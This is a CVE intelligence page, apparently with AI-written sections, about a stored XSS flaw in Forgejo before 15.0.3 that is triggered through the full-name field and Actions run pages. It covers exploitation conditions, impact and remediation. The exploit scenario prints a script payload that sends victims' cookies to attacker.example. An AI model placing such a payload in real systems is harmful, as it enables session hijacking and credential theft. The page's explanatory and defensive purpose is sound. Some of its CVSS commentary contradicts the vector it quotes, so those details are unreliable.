Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSet full name to HTML/script payload
-
DeliveryEnable DEFAULT_SHOW_FULL_NAME on target instance (pre-condition)
-
ExploitTrigger Forgejo Actions run in any accessible repository
-
InstallServer interpolates unsanitized full name into HTML run description
-
C2Victim loads Actions run page
-
ExecuteVue v-html renders injected payload
-
ImpactAttacker JavaScript executes in victim browser
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concurrent conditions: (1) the Forgejo instance must have the DEFAULT_SHOW_FULL_NAME option enabled in its configuration - this is explicitly a non-default setting, so the majority of default deployments are not vulnerable; (2) the attacker must hold a valid low-privilege user account on the target Forgejo instance (PR:L), as account registration or social engineering is a prerequisite; (3) the attacker must be able to trigger a Forgejo Actions run, which requires write access to at least one repository with an Actions workflow configured. Exploitation is further limited by the requirement that a victim actively views the affected Actions run page (passive user interaction, UI:P in CVSS 4.0 terms). What limits exploitation: the non-default DEFAULT_SHOW_FULL_NAME setting is the single most significant barrier - instances without it are immune regardless of version. Additionally, self-hosted Forgejo instances with closed registration or a small known-user base significantly reduce the viable attacker pool. |
| Impact | Real-world risk is moderate-to-low, heavily conditional on deployment configuration. The CVSS 4.0 score of 2.1 is intentionally conservative: AT:P captures the requirement that DEFAULT_SHOW_FULL_NAME must be non-default-enabled, and UI:P (passive user interaction) reflects that a victim merely needs to view an Actions run page rather than click a crafted link. EPSS data is not provided, but the combination of a low-impact stored XSS in niche self-hosted software without KEV listing suggests exploitation probability is low at the population level. That said, a public POC exists (referenced via VulnCheck advisory and GitHub), which meaningfully lowers the bar for exploitation against misconfigured instances. The CVSS 4.0 impact metrics are instructive: VC:N/VI:N/VA:N (no direct impact on the vulnerable Forgejo server itself) but SC:L/SI:L (low confidentiality and integrity impact on subsequent systems - meaning victims' browser sessions). In practice this means an attacker could steal session cookies, perform CSRF-equivalent actions as the victim, or redirect users to phishing pages. For Forgejo instances hosting sensitive private repositories, even a low-severity XSS represents a credential-theft vector if admin accounts can be targeted. The non-default configuration requirement (DEFAULT_SHOW_FULL_NAME) is the most significant real-world risk limiter. |
| Exploit ScenarioDerived | An authenticated Forgejo user sets their account full name to a JavaScript payload such as '<script>document.location="https://attacker.example/steal?c="+document.cookie</script>' via the profile settings page. The attacker then triggers any Forgejo Actions run (e.g., pushing a commit to a repository with an Actions workflow). When another user - including an administrator - navigates to the Actions run detail page, the server-generated run description containing the unsanitized full name is rendered via Vue v-html, causing the injected script to execute in the victim's browser and exfiltrate their session cookie. A public proof-of-concept demonstrating this technique is available at https://github.com/geo-chen/oss/blob/main/forgejo.md. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 02, 2026
Stored XSS in Forgejo before 15.0.3 allows authenticated users to execute arbitrary JavaScript in other users' browsers by embedding an HTML payload in their display name and triggering a CI/CD Actions run. The vulnerability exists because the server-side run description assembles HTML by interpolating the user's full name through a translation function that performs no output encoding, and the frontend renders this server-generated markup via a Vue v-html binding - a classic sink for stored XSS. No public exploit identified at time of analysis as actively exploited in the wild, but a public proof-of-concept exists at the VulnCheck-referenced GitHub repository. The CVSS 4.0 score of 2.1 reflects the non-default configuration prerequisite and passive user interaction required, but the impact on subsequent systems (other users' browser sessions) is real.
RemediationAI
The primary fix is to upgrade to Forgejo 15.0.3 or later, as documented at https://codeberg.org/forgejo/forgejo/src/branch/forgejo/release-notes-published/15.0.3.md. The upstream fix is tracked in pull request #13002 at https://codeberg.org/forgejo/forgejo/pulls/13002. If an immediate upgrade is not feasible, the most effective compensating control is to set DEFAULT_SHOW_FULL_NAME to false (or leave it at its default disabled state), which prevents the vulnerable code path from assembling the malicious HTML string into the run description. Trade-off: disabling this option means Actions run descriptions will display usernames rather than full display names, which may reduce auditability in environments that rely on full names for user identification. A secondary control is to restrict Actions runner access to trusted users only, reducing the attacker pool to accounts that can actually trigger runs. Do not rely on content-security-policy alone as a complete mitigation without patching, as CSP effectiveness depends on configuration.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Forgejo is a self-hosted, community-driven git forge (CPE: cpe:2.3:a:forgejo:forgejo:*:*:*:*:*:*:*:*), originally forked from Gitea, commonly deployed by open-source communities and organizations needing on-premises source code management with CI/CD capabilities via its Actions runner. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. The flaw lies at the intersection of two design choices: (1) a server-side i18n/translation function that interpolates user-controlled data (the full name field) directly into an HTML template string without escaping, and (2) the Vue.js frontend rendering that assembled string through v-html, which bypasses Vue's default cross-site scripting protections. The profile picture or display name field accepting arbitrary Unicode/HTML characters without sanitization at ingestion or at render time is the proximate technical failure. The PR fixing this (codeberg.org/forgejo/forgejo/pulls/13002) likely introduces proper HTML escaping in the translation function or switches the v-html binding to v-text.
Know when Forgejo gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
AC:H reflects non-default DEFAULT_SHOW_FULL_NAME prerequisite; PR:L for authenticated attacker; S:C and C:L/I:L for cross-user browser impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
Forgejo before 15.0.3 contains a stored cross-site scripting vulnerability that allows authenticated attackers to execute arbitrary JavaScript in other users' browsers by setting a full name containing an HTML payload and triggering an Actions run. When the DEFAULT_SHOW_FULL_NAME option is enabled, the run description is assembled server-side with the user's display name interpolated into an HTML string via a translation function that does not escape its arguments, and the frontend renders the result using a Vue v-html binding, causing script execution for any user who views the affected Actions run page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Remote code execution in Forgejo before 16.0.4 allows an authenticated user who can supply a template repository to run
Forgejo before 13.0.2 (and the 11 LTS line before 11.0.7) mishandles out-of-repository symlink destinations when generat
In Forgejo before 1.20.5-1, certain endpoints do not check whether an object belongs to a repository for which permissio
Forgejo before 1.20.5-1 allows 2FA bypass when docker login uses Basic Authentication. Rated high severity (CVSS 7.5), t
Unauthenticated blind server-side request forgery in Forgejo (through 15.0.11, 16.0.0 through 16.0.7, and 17.0.0 through
Forgejo's restore-repo CLI can be induced to read files outside the dump directory - including repository configuration
Server-side request forgery in Forgejo up to 15.0.4 allows authenticated users to bypass the repository migration IP all
Forgejo through 15.0.11, 16.0.0 through 16.0.7, and 17.0.0 through 17.0.1 lets an authenticated user with a read:user-sc
Forgejo before 1.20.5-1 allows remote attackers to test for the existence of private user accounts by appending .rss (or
Identity spoofing in Forgejo's ActivityPub federation allows a remote attacker who controls any single valid ActivityPub
Restricted API token authorization bypass in Forgejo before 16.0.4 (and before 15.0.8 on the 15.x branch) allows authent
EUVD-2026-41433
GHSA-r26p-rw8p-x468
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB